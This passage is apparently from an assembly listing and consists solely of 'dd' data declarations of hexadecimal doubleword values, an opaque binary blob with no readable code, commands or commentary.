0BEC18BD4h, 17D40FCh dd 4D007E0Dh, 0C208153Eh, 74BA764Fh, 81F8BD80h, 0E65F3A25h dd 0A5F54E7Fh, 0F3C9368Dh, 0DE179A84h, 0B87E4361h, 768074BBh dd 0BD00BA05h, 14102CCDh, 0B269E53h, 6A1FA8FAh, 894D37F7h dd 44D6C894h, 0BCFAD2B1h, 0FF43843Ah, 0D6585414h, 0B9E48BC9h dd 7FFA00E7h, 0B17CCD8Dh, 6C04CF1Ah, 0CADA6482h, 8BB94EEFh dd 1A048FF5h, 0AC065311h, 406482BAh, 70BA896Eh, 9589398Fh dd 9009C859h, 38DFFE8Bh, 1960D5Eh, 79A334DBh, 0D09DBD0Ah dd 3095A3Ch, 0DF6160C5h, 0AEC4600Ch, 5862F67Ch, 0DC919D48h dd 0C7814060h, 493C485Dh, 9C6F4B52h, 291F7902h, 24E1F0AFh dd 5166ADCBh, 0CD90257Fh, 5E09306Ah, 7934D9CEh, 80609676h dd 615CB049h, 4AA48AA6h, 74CD8D4Bh, 51D5E88h, 0D1FFF804h dd 58B871EDh, 0BB56CB01h, 203EC5B1h, 4ED3CB6Ah, 6E5A15E9h dd 0F2310FD3h, 5B2D8ECh, 26A800Fh, 0E52057B8h, 60502C19h dd 1166055h, 4AE078F0h, 1942B800h, 0BE582E3Bh, 1EE7161Ch dd 0FCC5AC5Fh, 7D298C15h, 2D81C88Fh, 0FADAF46Ah, 7BED57CEh dd 62601764h, 0FF89A97h, 8B8D8B5Ah, 0B8E8C46Fh, 1124E15Fh dd 0C0899B05h, 299BBBAAh, 216C59B2h, 0C20080BCh, 0F442AD17h dd 4812272h, 0EF8A18D3h, 0EDF88109h, 0C89D2B07h, 2581126Fh dd 0D79BEE6Bh, 1B03D892h, 9D74A403h, 0FA652D2Ah, 0F9C608h dd 0C6BA6462h, 437DA318h, 0B6D26F04h, 7BBD124Eh, 99162A94h dd 0B97E2118h, 1BF73B2Fh, 7EF6F750h, 0E71B4A5Eh, 0C14BA2B2h dd 64EFF5B4h, 16287861h, 0CF7370BEh, 0D9BDDE56h, 0E0BBC7CCh dd 0B0517CCEh, 80E338E1h, 0BC97041Ah, 0DBFA030Bh, 70E6D098h dd 0CE37BA00h, 71E47972h, 2FA17FBFh, 0CC760BB5h, 67C354EBh dd 98416047h, 8B976686h, 0F3642Eh, 760B38E2h, 707E062Eh dd 3135AD17h, 9D15A2F8h, 1779F65h, 0E682EB81h, 0C66101B0h dd 0E24B435Eh, 62C47776h, 40C8194Bh, 0DCFE0BBFh, 0A25F7B2Bh dd 0DA85893Ch, 0FD5F4AC2h, 0EB1135Dh, 0CB5133BFh, 82E96398h dd 0F717A3A6h, 4907A027h dd 44044E49h, 885F15BCh, 3100B1A5h, 9E98E9C4h, 5AD7245Dh dd 2E2C3C5h, 32716Eh, 0CBED9BBFh, 2AA4971Dh, 0BD894710h dd 0D24A13B5h, 0DF843F43h, 30BC4211h, 0A5BD03C2h, 14974370h dd 30D9B71Bh, 7EB6BB81h, 722F7C03h, 70C2D822h, 52826809h dd 89825032h, 14572605h, 8C7725E1h, 9E411BEFh, 0E8304F51h dd 8CCF253Ah, 0D949CF78h, 0F7546BE5h, 61F5069Ah, 0F22B5B68h dd 34A83Dh, 18D14FD3h, 364DE6C4h, 0A89804Ch, 0BE0DB9D9h dd 0DE00F62Fh, 0AC0C6600h, 32D0A030h, 8BA1A0FFh, 5E89976Bh dd 7670F7F3h, 73E71380h, 0A66FFCh, 6D0DB6D3h, 4B466F97h dd 3C5289F4h, 60B7C365h, 730987BAh, 0FECD006h, 0EEA2805Bh dd 174B7081h, 0F14270BCh, 73529000h, 0A974C008h, 0CD6E2537h dd 0ED6BDA73h, 407643CAh, 0C2A1AA88h, 55E4095h, 9529134Bh dd 48D1F9BDh, 57844B12h, 0E87ABFh, 0A618536Eh, 142A8C72h dd 0F9695566h, 0AA205413h, 5D9D4360h, 50B9970Bh, 0F1BDD050h dd 4DCE034Bh, 5317FE95h, 0E0A4A6F7h, 0BD5DC0E7h, 7BE15986h dd 3B575261h, 282F5B40h, 40D74775h, 0A501DD6Fh, 16D7DFC1h dd 93E237Fh, 79FCDE8Bh, 6002A676h, 72424B9Dh, 9A00BAFAh dd 986CEDA9h, 98E1FFCBh, 2F1B1296h, 8865F247h, 2651A741h dd 44E66D00h, 27F2256Ah, 3AC45FB8h, 401976BFh, 7821A297h dd 40BD5B4Eh, 8853E292h, 0F2F8922Bh, 8CE78A42h, 1955239Fh dd 0ED602FADh, 0E2A5C039h, 0B7FC347Eh, 8C2F41B0h, 0C1F74DD9h dd 0FCB6282Dh, 0F50B1B23h, 0D1DA9009h, 0F3FC2FB2h, 0E7562682h dd 25305EB1h, 0BBC00ACDh, 38CAF2AFh, 12AC41AEh, 0CC2A25ADh dd 21010981h, 44B85379h, 0A9429509h, 0CD5A4D5Ch, 99B960DAh dd 0DE052B64h, 1F3710A5h, 9A2B5AA1h, 0C019C85Fh, 0BB6B4803h dd 893DBF2Ch, 0E0ECD08h, 0A6535090h, 5F87E2F8h, 0C1A6E30Eh dd 0F8024447h, 0ED7C7868h, 0E13F5D9h, 9425FC80h, 0A9422000h dd 0C7EAC9E5h, 0EF580B41h, 98FF570Eh, 955B5FC7h, 10874F87h dd 0B5892631h, 6E2D1125h, 0BB560704h, 30669034h, 459D295Fh dd 895E4DBAh, 27A9ADE9h, 9BE40634h, 5B4AFDCAh, 0C69E92E5h dd 15B5FA90h, 62FD254Eh, 0D97809D6h, 0B16294DFh, 2F6280AAh dd 0DC20EE42h, 0F7117104h, 41EC531Ch, 0A49F8780h, 0F89D36F8h dd 48FB05ECh, 125B5513h, 4AB3B38Ch, 7E27241Dh, 734D5A4Ch dd 0C2077260h, 0A0FD12A4h, 0B3FD0F89h, 69306169h, 0C121EBBh dd 0A7E06B32h, 0FEC8FE60h, 1F0130B5h, 0F966122h, 127745F7h dd 0C026EC94h, 0BF504921h, 0AE3C09B4h, 0D63D9648h, 21820139h dd 413ACF58h, 0DC806C2Ch, 1B317E29h, 501E1300h, 0FC603D71h dd 0B5FF2585h, 82FCBD5Dh, 8769DFF3h, 0FF223654h, 0B5D76805h dd 12AB599Bh, 84570EEBh, 0EFF98BE4h, 14C8EE9Ah, 0E060F0C2h dd 5F61D6EDh, 87392050h, 40BFF7C4h, 590F2BEh, 50D0ADEDh dd 645BCC52h, 962B5C00h, 4C9FDFB9h, 315500BEh, 7FC03920h dd 0F8B52E33h, 8CD8FF3Ch, 90518301h, 906E6EBDh, 9D685900h dd 0FE88F876h, 0DE115025h, 8DB762EAh, 4001955Dh, 45A72907h dd 55D1BB02h, 5C6156B5h, 96DB7AD5h, 7341F50h, 6BF660B7h dd 0C7814019h, 5C12A26Dh, 95B26174h, 0BDDF4D89h, 7ABE8017h dd 0AEDBA021h, 7EC84025h, 0CD56AD11h, 0B1574FDEh, 4ECD2F02h dd 0BE2DE63Bh, 0A3171423h, 3389FB00h, 0EA0F7C3Bh, 0F62BE10Dh dd 3F2B000Dh, 0DF3CEC9Fh, 909E4838h, 1950B6C0h, 0A00C383h dd 4AF45A2Fh, 9B189C2h, 61F9D97Dh, 0BC44CB71h, 8B86B744h dd 0CAAD3F07h, 0BBE84BE9h, 922D7EF0h, 0A6E4C8h, 291E2A74h dd 9D451378h, 0B5407100h, 0F6F9B438h, 43F1B4C2h, 0B8B1503Dh dd 7B79F221h, 495B792Fh, 638BB2D7h, 205BA6Fh, 0E8625060h dd 0C10440DFh, 87F3BD61h, 0F535AFh, 167CDE6h, 0F2FF9D7h dd 50EEDC87h, 5A09ABCAh, 714C05B8h, 0F1D6AF10h, 0ADC6525h dd 2D23810Fh, 81C3F005h, 42FFD85h, 90BB41C0h, 344602C4h dd 5860F50h, 4D35BF20h, 962A256Eh, 0FA2CE5D9h, 0E0FC0CEh dd 71F71D32h, 851302B8h, 0C0CFBE66h, 0F952DCF6h, 0E4574944h dd 0A5989539h, 93B7800Fh, 0A7E95B5Dh, 0E0F0B735h, 76A7D01Bh dd 0CD9D1272h, 5A2DBF21h, 9CA87E69h, 0B413F7F8h, 0F804BA2Ah dd 0DEFAC486h, 0DE33C0BFh, 0E40B773Dh, 9AFA5B99h, 0C215C8A0h dd 0FC8155E9h, 29C283DAh, 1F1ABCF7h, 0C6A04771h, 507FD364h dd 5B7E8B95h, 31C8705Ah, 164A9D71h, 308CADD8h, 0C8AAE288h dd 76059463h, 538FD6A1h, 0F6D774AEh, 0E16AA040h, 645000EBh dd 0EF539370h, 901FCB81h, 0F1A5DAFEh, 9D0B827Ah, 38D72F49h dd 0D28BB7E2h, 0B832AD7Ch, 67F909F7h, 1A02C58Dh, 1142CA2Dh dd 50E665F7h, 2673FB7Dh, 0DB50E809h, 519F093Eh, 0AA0597EFh dd 0B305BA7Bh, 0ACBC2B92h, 8FB14A60h, 0E6B1C46Bh, 0A2DCE0A3h dd 358F01E8h, 9F02D71Bh, 88825B49h, 47D0C11Dh, 5F30D459h dd 81895595h, 19AB3173h, 12BC958h, 478D294Dh, 2FA6698Ch dd 95323728h, 4A6278CFh, 4A00FF2Dh, 9ABB6696h, 0BF07B4B0h dd 1095747Ah, 4BEB70BBh, 0BC83A92Bh, 0FD4B8C14h, 7ABA10D5h dd 0BF5D0064h, 85250FEFh, 51BD220Bh, 2DB50108h, 27291F2Ch dd 7EADA4DCh, 0BA3F55A7h, 0E6CB2502h, 4B807856h, 252ACA5Ah dd 0FC1BF453h, 0E057574h, 57EB802Dh, 0CACBDAAFh, 4DC0B919h dd 2F6C3237h, 0A5D511F7h, 0B0E10DF7h, 39203D2Eh, 0FEE7A8FDh dd 0F9410076h, 4254A8B9h, 0CC4BE955h, 0E7A823C4h, 3EED1380h dd 5BB80435h, 5F78DF93h, 0FC2C1DBBh, 0B27BE559h, 17181959h dd 2EBF1602h, 0E1092BEDh, 90000C03h, 73ED850Fh, 59B90B5Fh dd 0C519F582h, 0C8482E61h, 0FD028012h, 0B569BD7Eh, 600E277Fh dd 0C0E5A789h, 489E9DC0h, 0CA0997BCh, 0E693C658h, 16DB3678h dd 0EE804E94h, 20AF9234h, 2CB32FA2h, 0E1663E00h, 8176B48Fh dd 0EEF31962h, 3EF87267h, 87A045A7h, 0FB17749Ah, 0D905935Fh dd 0C3F80C84h, 999D33A0h, 0C09C9095h, 0BD534B21h, 9D0182E0h dd 78702945h, 11FA8B25h, 26DC9CFAh, 0F5EFC9Eh, 0A133683Fh dd 0B8C973E0h, 5054C58Ah, 6009BFBFh, 7A0C87C6h, 5A52076h dd 62E9096h, 4989DD69h, 3E51401Ah, 0CFEBF90Eh, 0F60DE3C8h dd 0DF1E40BEh, 11E12785h, 6E9930E9h, 5EE36552h, 0EE105225h dd 3C0BF64Bh, 0F8612909h, 5F5B250Ah, 73ADD27Bh, 0E5C4508Ah dd 2381109Dh, 9F6D0045h, 0BABDA9CAh, 20002785h, 95F1B61Fh dd 15E19AC2h, 71D1FFFBh, 4C4EA803h, 0C1D9B63Fh, 75282F53h dd 0A73AE1D0h, 0A8AAA4D7h, 5A1A4C3Fh, 2BB88A4h, 4D6FA826h dd 0B7FD026Ah, 0AA770029h, 0EFC1558Eh, 1190B12Dh, 20A9C0h dd 96130033h, 0CF841891h, 389921B6h, 2ABA4080h, 905BC264h dd 0E832257h, 0B5FACC95h, 6E901D31h, 9C803FDBh, 7DB3B96Ch dd 540D51B7h, 57863B02h, 0DC820FB9h, 0EEDF4401h, 0E35AA4B8h dd 29CA896Fh, 12DDDEB4h, 929BAB24h, 0C8157EC1h, 16982E8Ch dd 0AA120B5h, 977FD9BDh, 3FDEFE50h, 0BDF85A84h, 0F38180A1h dd 4A860A18h, 506BBE02h, 661A29h, 7F463877h, 0D2BC6E79h dd 16EBD817h, 0BD125247h, 8C1CAC0Dh, 640E6900h, 7D18D026h dd 756E4C7Ah, 93921222h, 284E3897h, 53630095h, 6A34373Fh dd 8A4C0FFFh, 22BED655h, 3661295Eh, 0B5AD9D30h, 4EEC05D1h dd 0F6B0D000h, 68EC6B3Bh, 0BD030956h, 2174148Dh, 3B84F251h dd 0E8B05B57h, 2D54F31h dd 0CEBD0113h, 24D0904Bh, 34190CAh, 20CF37Ah, 4298E2BFh dd 91D65E22h, 16C25FC5h, 905F0B25h, 8E307514h, 78D78102h dd 5E579E16h, 85BD04B8h, 0B3B83403h, 0C82BF909h, 0FE8DDD85h dd 87FBF357h, 38D1361Ah, 0E11F2132h, 0B50B2B82h, 5004225Ch dd 0AFBCF88Ah, 9DDDF528h, 1A706433h, 2024294Eh, 0BBC1A4B9h dd 91C3F89Ah, 8E625260h, 0BAD718D9h, 4BC6D484h, 0ABC8A1D5h dd 40D4F373h, 0BF26045Dh, 0BC46973Eh, 108CB2B2h, 7C116CBFh dd 52CC13B7h, 0F8B5F9B4h, 607080E7h, 390304BAh, 0BD61732Dh dd 9C8484B2h, 31A30313h, 0F94E6AD7h, 3093C2F9h, 0A1E04FD2h dd 0D9E69800h, 9067661Ch, 0D6863888h, 96FF1CFAh, 0FC6A27B9h dd 71C77600h, 3407406Ah, 0F0791936h, 0DBAA9200h, 231609A8h dd 29FF1D9Dh, 0D967730Ch, 0A8053AB7h, 41BE84FCh, 2B7D47D3h dd 0B8913DC0h, 0CAF7011Fh, 33BDF8B1h, 276AE4h, 0AFBFCFDFh dd 0C4B7C05Bh, 3BA36A7h, 5D606440h, 0EBB96306h, 0E37F13h dd 41217550h, 7BD20725h, 0BA96F0F6h, 0FAE5E8A7h, 6D2E6499h dd 0A8E32979h, 4E7AB661h, 4651D700h, 0A00C1F6h, 2D563C15h dd 1CBE7099h, 6F60C611h, 3103B371h, 0C8BCBDE3h, 19127D40h dd 0F8F8FAD6h, 907DDEB5h, 0A02AF535h, 5ED59D07h, 0A1CCFC0Bh dd 3B19B723h, 1BD4688h, 0EEB39153h, 0FC718327h, 0DD248CDBh dd 1A645CEBh, 759EC8C0h, 47401CDh, 246E5C39h, 57A43BAEh dd 9F9A975Bh, 9E201279h, 55D29C00h, 18A68EBDh, 0AAF01283h dd 2AF2B1h, 85B434AEh, 4FF5871h, 30ECF368h, 318BFA60h dd 8091DAD3h, 4813CDDAh, 0D12E039Bh, 43CFBB69h, 37D7579Ah dd 9750041Ah, 8110AB78h, 1A1916C2h, 0BBE50DE8h, 6FEA1E17h dd 0EF277F40h, 583BD4A9h, 98001C6Bh, 13BFB15Bh, 2A71D62h dd 587E1EB9h, 0D4324A02h, 0D606DC59h, 0C789C4Ah, 159120E2h dd 10E1FF31h, 8E6E0E1Dh, 4BB1323h, 0C0E85BF9h, 0AC557B03h dd 0F08F40CBh, 48569172h, 0EC3A6A50h, 8D59A3CBh, 0DB7B749Ch dd 1874C0D4h, 39CED811h, 6616FAF3h, 0A469EA4Ch, 0E2B8C77Dh dd 7A189B2Fh, 0E78101B4h, 7B5DED9Eh, 0F0422660h, 0B76BF421h dd 0BD89CF98h, 0D12D8125h, 0BBC32775h, 7365BA85h, 1EA20CA6h dd 7F67C640h, 8F309026h, 1EA46B13h, 797E8A92h, 0DBAF1912h dd 25709301h, 4DB116Dh, 0CA29B0C9h, 6B6BBAB3h, 0AD001923h dd 1B6AFAD8h, 2790D2h, 0DB812F91h, 60881AEEh, 0D1169061h dd 0C82A5039h, 4A162612h, 6FF905CCh, 5C8E007Ch, 19763CB5h dd 412F5F39h, 59B6DA80h, 1064C690h, 3429BAFEh, 2D4D206Eh dd 0E5749592h, 0A4F2600h, 7B884B33h, 0F23F4A5Dh, 0D7D000F4h dd 7A3ACEE1h, 0FAB0065h, 1F436DA1h, 0BF5AA773h, 0B87116B6h dd 6951BD5Fh, 0B65F0BBCh, 8A1508F4h, 0D856BF81h, 852E03EAh dd 8CD8EE6Eh, 0F8614E60h, 5ACF4298h, 0AD4B28A2h, 4E5F3975h dd 0E885B19Bh, 0ED99BAC8h, 0A6FF7405h, 0CBB2072Ah, 1B212E9Eh dd 0A66E2AE6h, 50ADB4EBh, 3C98E780h, 9F18E34Bh, 0A5526720h dd 0CD89C706h, 0CD5F0901h, 0D6A3C0A4h, 0F0253309h, 0C2797Ah dd 3AC46CB9h, 3FA237E8h, 0D34BB05Eh, 0EAA978E8h, 99F273Eh dd 57D2FEFAh, 1E5DF80Ah, 0D44C673Ch, 415C10FDh, 2850067h dd 98BE1975h, 0D00C0E5Dh, 3C6011F0h, 5F142D7Ah, 0DE81FBD3h dd 0CD98531h, 0A8CC743Ah, 1C8281CBh, 42F0BE01h, 0BFDF1599h dd 0F3B86E89h, 75968F00h, 82598655h, 0B58D4A89h, 0B7ED2E1Ch dd 0A637A9h, 6653CEF8h, 9D21F3BBh, 962FB0Ch, 0CC3E0D41h dd 0E800B4B3h, 9CC64621h, 0A18F14h, 0C4D34EDh, 52B7505Dh dd 9519604h, 0E5F00DB5h, 0CA1A9D5Fh, 8D007CE4h, 9E32C99Dh dd 1DAB277h, 8E3B6BC8h, 0CC2D3394h, 0D27B01E8h, 4103C0B7h dd 685B0246h, 3A05094Ah, 0B507C474h, 987B1A0Ah, 59BEB3h dd 968354Ah, 90B6CCEDh, 9EC76112h, 848879E9h, 0B5EA6049h dd 90054069h, 870F5713h, 0FAA001BCh, 0E2009A8Dh, 0A3B76D2Dh dd 1679452h, 742DEBEh, 31167792h, 6F7E6135h, 415526F0h dd 7412A52Ah, 1C46D65Ah, 0EABB9800h, 54606541h, 582B5A32h dd 205161h, 0B3ABA9E0h, 32246768h, 0FB09E43Ch, 699ED111h dd 0DF4B516Eh, 472F76CAh, 0FF694D4Fh, 58559B12h, 548A8218h dd 5633449Fh, 3A4F88h, 9E457A1Ah, 227B1760h, 376F0E00h dd 3315EBE4h, 8C1A27DCh, 9D747747h, 5D003FB5h, 9605B39h dd 59125BDh, 0C3C71CD1h, 0D0765B4Bh, 507C2B96h, 0FAA11829h dd 944F9566h, 0C0B947BFh, 27AB5D4Fh, 123A3605h, 0D8AFE89Dh dd 6E27BFEAh, 0B4264E2Ch, 4712D485h, 6931AB49h, 2EE09EBEh dd 38C0021h, 0AF196417h, 10B78920h, 97EBB794h, 9CD3B792h dd 0D358577Ah, 8C467CB6h, 24CE04CCh, 0AB27B90Eh, 18A2DDF6h dd 0AC24F4CCh, 3413E560h, 9D13C2FCh, 0D7893096h, 0FB1F8506h dd 0B5C0096Eh, 99FF4FC1h, 0D98400F2h, 0E723F0D2h, 0FB945FB4h dd 7E288C0Bh, 0ECAD16B6h, 2D22A626h, 25DBE468h, 26181459h dd 9D336009h, 80E9A0EDh, 0AC6122F1h, 3FCCB7BAh, 93CD9D35h dd 164F25E8h, 0AC06E9FCh, 0CB048C15h, 8DBD897Fh, 9FF3F2ABh dd 0DCA5AD1Eh, 1846DE6Ch, 7836F505h, 966BC96h, 0D09531D7h dd 0B6F3B545h, 0F19BD873h, 3F099DC0h, 7D70F353h, 902612A4h dd 149AEF31h, 4170168Ah, 3B8B9253h, 148AD120h, 4EA1F60Dh dd 0FD1E8509h, 1257EC5Eh, 9B64ED2h, 88C26DD3h, 7912FBFFh dd 0D48926Bh, 7857DDAFh, 2E705A97h, 62DC1Bh, 0AEBA7C40h dd 0E0997DF1h, 9ABE0B00h, 963972F5h, 0D119D66h, 0D780E0FAh dd 22E8852h, 50EF21BFh, 69C95E7Bh, 0F43F4D19h, 87718F4Ah dd 8093CF02h, 5E5AC06Eh, 101651B6h, 279D3160h, 0ABDC2C71h dd 0AFB8E86Fh, 852EEF0h, 7EE59273h, 0BC90367Fh, 1BACDF5Bh dd 0AFCF73E0h, 89012DF2h, 49DF13CAh, 0CC3F9A93h, 0DD9501B0h dd 0B5DF39ABh, 0A599AB45h, 0C5285659h, 7902F925h, 5652C49Fh dd 9A5BA1Fh, 16D7762h, 2B67349h, 162391E3h, 3E26565Eh dd 0CFC712DEh, 96BEB1D3h, 39EAFE06h, 0B9C6750h, 5E3AE9F8h dd 238324FCh, 0EAFB17CFh, 7AF70342h, 0CD9D1465h, 90D44084h dd 0C11F10FFh, 0ECD8399Ch, 174EE35Eh, 0AAB75016h, 64537B4Bh dd 0EF08006Ch, 0BD06BF7Eh, 0AA05D3A1h, 8DBAF552h, 0CAD82EEh dd 6A5B5F01h, 0B822ED2Eh, 0F06A2601h, 6DA2FF7h, 53D38106h dd 0C2ED6D49h, 0CF24EFA8h, 311A8382h, 943D0CD7h, 59739D0Eh dd 4D66824h, 0FA23C21h, 1FECA386h, 4600BB90h, 0BF503E54h dd 18891F4Dh, 4BED2721h, 148854C6h, 0E2267D85h, 0B0F86080h dd 2BEF614Ch, 2AB971E9h, 8A505CA8h, 0BC2C4A8Dh, 0DAAAB487h dd 0A3E182E0h, 513A60D4h, 887B952Ah, 2844A5h, 2CBBDA97h dd 0FF0F65E6h, 4ABFD102h, 5C72AA48h, 83451F6h, 8020B102h dd 1121EDBCh, 504A4EC7h, 3AA88DBFh, 70BF46A4h, 5DB90922h dd 0F656810Fh, 0A196D761h, 0BB00E736h, 54D6B79Dh, 1C973EE9h dd 3124205Ah, 0EE3795h, 5993B6A1h, 5F5C83D5h, 0EEDA1797h dd 74201CC2h, 0A1FAC08Ch, 0BF1FFCF2h, 0E4C026B4h, 5E22AB32h dd 741A97C8h, 5F4B357Ch, 0C8720B90h, 27EEE19Fh, 0C169FD2Ah dd 8FC319BFh, 7CA8B73Ah, 4BDA7A09h, 0A5327363h, 774B84CDh dd 68451880h, 6A3182F9h, 158190FFh, 8FC04E04h, 0F5250436h dd 6E7ABF26h, 0F7B2201h, 2EDA8BFCh, 1570861h, 0C4F78902h dd 0FCB05EBBh, 0FE234F0Bh dd 22BBE879h, 1B57DCEh, 4569AD5Ch, 2AAEF28Bh, 0E45B7EC0h dd 132DBE71h, 7B32AB03h, 0FAB8FD26h, 2EE3F52Fh, 8B8437A3h dd 251BB8A0h, 9D16C4F5h, 0A73AC810h, 91279C00h, 4C48CE9Fh dd 7AD300F1h, 421FCCE4h, 46BD6AFEh, 0D98B16F4h, 3BF6F85Fh dd 132848B7h, 40AB5EB8h, 0EA62EF8Bh, 9887860h, 0BE495995h dd 0A2C82B13h, 883C004Eh, 0CB1AF5B2h, 920F00C6h, 5695DF8Fh dd 0E9B7B531h, 57C65B2Bh, 598FC08h, 8CA6E92Ch, 197DE3Ch dd 4947554Ch, 0E9612481h, 2E56E380h, 0B0BF510Ah, 103C990Dh dd 259D03C0h, 4CC61335h, 58811144h, 0A71C73E7h, 8872D252h dd 2B5E79F3h, 83A236FCh, 525CA15Ah, 27393206h, 44475C5Bh dd 5330534Fh, 8A7B7Fh, 24F49CA6h, 0B7E2348Ch, 30414E34h dd 0C22AADAFh, 8026FCABh, 0C0C2CBA8h, 0DF5F49EEh, 687E1F2Fh dd 28C15F52h, 6BBF001Bh, 42A00A3Bh, 4B939589h, 0DE76A477h dd 12D36DB9h, 0B66FEA98h, 667F4D00h, 0C19CE950h, 35767018h dd 8325DDA6h, 7CB90C25h, 0F1BB47A9h, 2E38E841h, 0AAE99C12h dd 0A502C5ECh, 0F9B9F3F5h, 0F1DA900Fh, 55E4B50Ah, 2F8019B9h dd 3F4B582Dh, 9A091DFFh, 177D96E6h, 2568BD78h, 0F5B59FCh dd 15EE5512h, 9272662h, 0F4276DE2h, 3DB5715Fh, 37986B2Dh dd 0F5BD2731h, 0BABA0004h, 5380239Fh, 1929D16Eh, 0B925AFBAh dd 0A757C731h, 2079A702h, 25410609h, 6E615E0Dh, 745217D8h dd 0B700F7F2h, 5089632Bh, 0CA160672h, 75E8957Ah, 41725BC9h dd 796AF3BFh, 4E9A7E1Ah, 9FC21CC8h, 1046D783h, 8420A65Eh dd 380206h, 0A43070ABh, 18E9E2Bh, 8FA20F2h, 565BF52Fh dd 59BDC26Ch, 0F355B34Ah, 4A7E5262h, 112919C0h, 7F4E5C9Fh dd 2BC14D3Bh, 8DC908B8h, 56A3627Fh, 35975E85h, 0CB57007Dh dd 905E7ACDh, 25E3994Ch, 115BC5DFh, 6FB82D67h, 0F116C07Ch dd 0C102A7F5h, 36972EC9h, 21CEDDAAh, 568DFB4Bh, 5DDEB825h dd 6D2F24F1h, 0FB8B45A7h, 56E4D78Dh, 282EE35Fh, 80881E56h dd 8AFD4BF3h, 9529222Ch, 0C4A842F1h, 9E44E309h, 0D5FC821Eh dd 61E7550Bh, 9658D411h, 61826025h, 0CE564451h, 70C9FB25h dd 925F8D3h, 4240D59Dh, 0D79EE180h, 0C4474EDEh, 6252B368h dd 5716150Ch, 0D4E50F9Bh, 2336B3Ah, 56C83F7Eh, 29B557F9h dd 95801D91h, 75300710h, 0C511CF1Eh, 8D297E01h, 0E82B0C49h dd 0B192C0CEh, 4BDE0A50h, 2D1E9DF6h, 24FDA89Ah, 0A89758B2h dd 10F520D4h, 6F07904Fh, 3769FEAAh, 3CAD8092h, 4A55610Eh dd 0B7FE5903h, 0AC8B51FAh, 6855E0h, 956EE724h, 9BA6053h dd 54EA9300h, 0F920B966h, 0F05F4A61h, 1C16DB32h, 0C5F96AB0h dd 597C70B8h, 46D6E0BEh, 53921215h, 950410C6h, 9501DD18h dd 0D531692Ah, 3EE1F478h, 0C2F174B6h, 6EDFC878h, 0FCC8E513h dd 9285DAAEh, 0A11778F6h, 0FDD509E6h, 9512445Fh, 0EDBBA918h dd 374D3312h, 0E64F95B2h, 0A86F02Dh, 6C8305B4h, 822BACD6h dd 965703DDh, 6157AD80h, 200DAD18h, 742DE24Ch, 7804DB89h dd 0B00B5F22h, 0F501F96Fh, 9ED4B592h, 12ED0B12h, 3A8C1ABCh dd 12060BC9h, 0B49035E2h, 3DF3D2Ch, 77BC0A96h, 136E096h dd 12610840h, 0F296F98Ah, 0DD3700D4h, 2F44A154h, 0D2870034h dd 286E785Eh, 0D70939E1h, 0F9B08280h, 8525BB2Fh, 50099EE4h dd 5996DE8Ah, 3DF0ADE3h, 9680740h, 0BBC663F4h, 82B86B0Ah dd 4458A00Bh, 3E70E6D3h, 0CC7B5AEDh, 1C029179h, 0E80E25BEh dd 2FE556CBh, 7960ADEFh, 2CA31DC6h, 1E3F8AF0h, 0D6FDDBF3h dd 0FF0B17DAh, 61CA1823h, 9E8E28Ch, 94E95EE7h, 8D359706h dd 60C5D62Fh, 919D0361h, 71955CB2h, 5069E5D3h, 6512F7B8h dd 0D938AF11h, 9EEC9D27h, 5B9D3A70h, 0F867D0F4h, 67D2B725h dd 0B59D74B9h, 16EA0040h, 0D562DB94h, 0EBB11E4Eh, 23C1677Ch dd 1F959Dh, 4A13BF66h, 22C9CA67h, 14EE94D5h, 0C2F1CF02h dd 319E6E03h, 121BD80h, 729E6EC9h, 0ECC87540h, 0D2A800B7h dd 94A1C429h, 0E15E1D4Ch, 1750FCACh, 70215F9Dh, 0F9BD232Ah dd 0F4F92AF9h, 252E338Ch, 24E56EB5h, 25418501h, 0BF41D559h dd 8D4196DAh, 0CC7EF674h, 4105D205h, 96E442BDh, 218058B8h dd 0FFB531B0h, 6BCFEF00h, 6116B1C0h, 0BE8F708Dh, 0E115C0C1h dd 7F9862F6h, 732D1F25h, 48308B7h, 0F2CE7EB1h, 0A86BF22Ah dd 76331F47h, 95314286h, 5D561F3Dh, 0AE9451E4h, 3FA812C4h dd 0E8A2AD4Bh, 83A51D23h, 9746CEFh, 5F5B1651h, 83CEB782h dd 0C34D5DC2h, 12E92FE1h, 7055AF12h, 0CBE7006Dh, 0FD3894BDh dd 7D03C86Ch, 0BFCA8D2Ah, 52AAE58Bh, 2156A1CAh, 3AB63AFFh dd 0E43018B2h, 1B2129Ch, 0BD3EA74h, 2185D839h, 2D4000B9h dd 7BFDC153h, 0B7012F0h, 901A672Dh, 0F7D6C1h, 40FC2DCBh dd 0E8EA3096h, 5C980705h, 0DAAF5F9Fh, 1C19CE05h, 78BD0021h dd 58A9BFC7h, 6D278290h, 51B61217h, 0BD018B73h, 5B1324DDh dd 81549CEBh, 0EE71DF1Ch, 0E6B76A57h, 9FCD9A4Fh, 0CAFB6180h dd 170B89DDh, 0FB0D71BDh, 539EEA60h, 816A01C8h, 6B89CC0Eh dd 6CBBC82Ah, 12A42C00h, 90CABF50h, 0BE244BB6h, 0BC941340h dd 0B546EB80h, 954F4F1h, 4C1A1CCDh, 24FE948Ah, 80600294h dd 89F74BE1h, 81B5D5B8h, 0A801A91h, 0EE76CB6Ah, 9E9CC27h dd 44B4518Eh, 9D2B4413h, 5001BDEDh, 0F6B1DBBBh, 0BF80482Fh dd 7D0AF029h, 56FE8927h, 0D686E832h, 0F87A489Dh, 5D9D250Bh dd 0F6556C42h, 0D89CFADh, 385C657Dh, 4A491254h, 4ACCCB30h dd 0B90B5F6Ah, 5BF0A427h, 0CACE0E4Ah, 5F986622h, 650E1125h dd 3DEDAFCAh, 0A1286F4Eh, 1121CDCFh, 0F5C2C6C9h, 2AE0D3EDh dd 16012DCEh, 0BCAD7D5Dh, 71EFD3D5h, 2B2A91B8h, 874C528Fh dd 0B2BB910h, 0D7F377E9h, 2DB19723h, 42C1F727h, 17D22A5Ah dd 3E6A360Fh, 533F4C84h, 77696FBBh, 0DB06FB7Dh, 7B4475A5h dd 0B7F39066h, 28D0937Bh, 4D951489h, 454F781Ah, 90739CC5h dd 1EEBE8Ch, 0D36B2A94h, 0D47F010h, 2C47404h, 0E2EA547Eh dd 0F26E4BA7h, 0E75AE803h, 0DFF85105h, 0E94E3D30h, 37781B2h dd 69A28FBFh, 0FE98946Ch, 0BB1A747h, 57EE2380h, 7A5C651h dd 7FD5ED48h, 0E5A1913Eh, 999E205Ah, 84E10F58h, 0B6061561h dd 0D39FAE94h, 0EBC00067h, 3F875F4h, 230041FAh, 0C3B13E6Ch dd 0F0B2A881h, 644C036Bh, 9AD4EE75h, 3D940BF0h, 0B00DD700h dd 0A5CA1B99h, 2DAB0096h, 